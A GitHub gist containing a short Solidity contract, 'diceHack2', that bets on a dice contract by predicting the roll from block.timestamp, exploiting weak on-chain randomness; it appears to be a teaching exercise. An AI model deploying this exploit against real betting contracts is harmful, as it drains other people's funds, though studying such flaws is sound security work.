Skip to content

Instantly share code, notes, and snippets.

@iisaint
Created January 4, 2019 02:29
Show Gist options
  • Save iisaint/38fe2a4b32331041faadc49735bb8eaa to your computer and use it in GitHub Desktop.
Save iisaint/38fe2a4b32331041faadc49735bb8eaa to your computer and use it in GitHub Desktop.
pragma solidity >=0.4.22 <0.6.0;
interface etherDice {
function bet(uint _number) external payable returns(bool);
}
contract diceHack2 {
constructor (address _etherDice) public payable {
etherDice dice = etherDice(_etherDice);
uint number = block.timestamp % 6;
dice.bet.value(msg.value)(number);
}
function getBalance() public view returns(uint) {
return address(this).balance;
}
function () external payable {
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment